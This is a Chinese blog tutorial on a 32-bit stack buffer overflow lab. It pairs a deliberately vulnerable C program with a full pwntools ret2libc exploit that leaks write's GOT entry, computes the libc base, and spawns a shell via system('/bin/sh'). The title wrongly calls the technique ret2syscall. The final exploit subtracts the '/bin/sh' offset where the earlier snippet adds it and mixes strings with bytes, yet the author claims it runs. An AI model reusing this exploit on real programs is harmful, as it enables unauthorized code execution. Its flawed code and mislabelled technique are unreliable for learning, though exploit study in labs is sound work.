字符串溢出(pwn溢出)--ret2syscall

背景知识
1、rop:在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

2、gadgets:在程序中的指令片段,有时我们为了达到我们执行命令的目的,需要多个gadget来完成我们的功能。gadget最后一般都有ret,因为我们需要将程序控制权(EIP)给下一个gadget。即让程序自动持续的选择堆栈中的指令依次执行。

3、ropgadgets:一个pwntools的一个命令行工具,用来具体寻找gadgets的。例如:我们从pop、ret序列当中寻找其中的eax

本例中依然使用如下源码:

#include <stdio.h>
#include <unistd.h>
void readbuf()
{
    char buffer[100];
    read(0, buffer, 200);
}
int main(int argc, char *argv[])
{
    readbuf();
    write(1, "Hello, PWN!\n", 12);
    return 0;
}

但是这里只开启NX保护,打开ASLR

利用Ldd可以看到libc加载的地址是每次都有变化,没有直接找到system地址 

 

 那么如何解决地址随机化的问题呢?思路是:我们需要先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。既然栈,libc,heap的地址都是随机的。我们怎么才能泄露出libc.so的地址呢?方法还是有的,因为程序本身在内存中的地址并不是随机的

我们可以在溢出时调用函数找到libc的基地址,通过基地址就可以找到system和"/bin/sh"的虚拟地址,并且返回地址继续返回到readbuf函数中,然后再溢出到system地址中。

在本例中我们需要通过write函数打印出system的地址,然后传递给带有溢出漏洞的read函数供我们向上一节例子中讲的一样使用。这里面涉及到PLT表和GOT表的概念。PLT为内部函数表既偏移地址,GOT为外部函数表。PLT作为中间表连接call命令与GOT表,GOT表存储的是函数的真实地址

如何利用某函数.plt地址与.got.plt地址获得函数的真实地址,通常exp里会出现二次提交,这里举一个小栗子,可以算是一个常用的获取某函数真实地址的代码模板


#假设我们利用的是write函数,puts函数也可以
#假设漏洞函数是readbuf函数
 
payload = 'a'*112 + p32(plt_write) +  p32(readbuf_addr) + p32(1) + p32(got_write) + p32(4)
 
#'a'*112:用来填充的padding
#p32(plt_write):write函数的plt地址覆盖返回地址
#p32(read_addr):plt_write结束后的返回地址,上面的这部分exp只是得到了write函数的真实地址,
#                得到后若不返回read函数使程序继续保持运行状态,程序就退出了
#p32(1) + p32(gotplt_write) + p32(4):
#这三个值其实就是我们平常使用write函数时传入的三个参数write(1,got_write,4),第一个参数是1理解,为啥第三个参数是4呢,那是因为got_write这个长度是4,所以这里就当做固定用法就好

原理说完了,如下方式可以获取加载lib的地址,类似如上的ldd test2看到的值

from pwn import *
test2 = ELF('test2')
proc = process('./test2')

leak_payload = "A"*112 + p32(test2.symbols['write'])+p32(test2.symbols['readbuf'])+p32(1)+p32(test2.got['write'])+p32(4)


proc.send(leak_payload)
write_va = u32(proc.recv(4))转换为#uncode估计是为了方便减法
print "write va:" + hex(write_va)
libc_load_base = write_va - libc.symbols['write']# 基地址相当于write虚拟地址-偏移地址
print "libc_load_base:" + hex(libc_load_base)#还是打印16进制

找到libc的基地址,我们就可以找system和bin/sh的地址,函数地址可以通过symbols函数找到,bin/sh只能进行搜索

libc = ELF('libc.so.6')
system = libc_load_base + libc.symbols['system']
# 虚拟地址 = 基地址+偏移地址
print "system va: " + hex(system)
binsh = libc_load_base + next(libc.search('/bin/sh'))
print '/bin/sh:' + hex(binsh)

最后构造payload:

shell_payload = "A"*112 + p32(system) + p32(1) + p32(binsh)
proc.send(shell_payload)
proc.interactive()
#这里加个p32(1)是随意填充32位的字节换成“A”*4这种亦可

最后是完整的exp代码如下,这里面我不理解的就是pwn库获得的基地址和查找binsh字符串的时候与执行elf的时候的地址如何做到还能一样,也许pwn本身是一种调试机制,不过最终代码是可以执行使用了。

from pwn import *

test = ELF('test2')
libc = ELF('/lib32/libc.so.6')
proc = process('./test2')

leak_payload = b"A"*112 + p32(test.symbols['write'])+p32(test.symbols['readbuf'])+p32(1)+p32(test.got['write'])+p32(4)
proc.send(leak_payload)

write_va = u32(proc.recv(4))#获取十进制地址

print("write va:" + hex(write_va))

libc_load_base = write_va - libc.symbols['write']

print("libc_load_base:" + hex(libc_load_base))

system = libc_load_base + libc.symbols['system']

print("system va: " + hex(system))

binsh = libc_load_base - next(libc.search(b'/bin/sh'))

print('/bin/sh:' + hex(binsh))

shell_payload = "A"*112 + p32(system) + p32(1) + p32(binsh)#p32(1)任意填充4个字节

proc.send(shell_payload)

proc.interactive()

 执行后结果如下,可以看到elf程序和so文件的sec权限情况

猜你喜欢

转载自blog.csdn.net/u014247926/article/details/127109748
今日推荐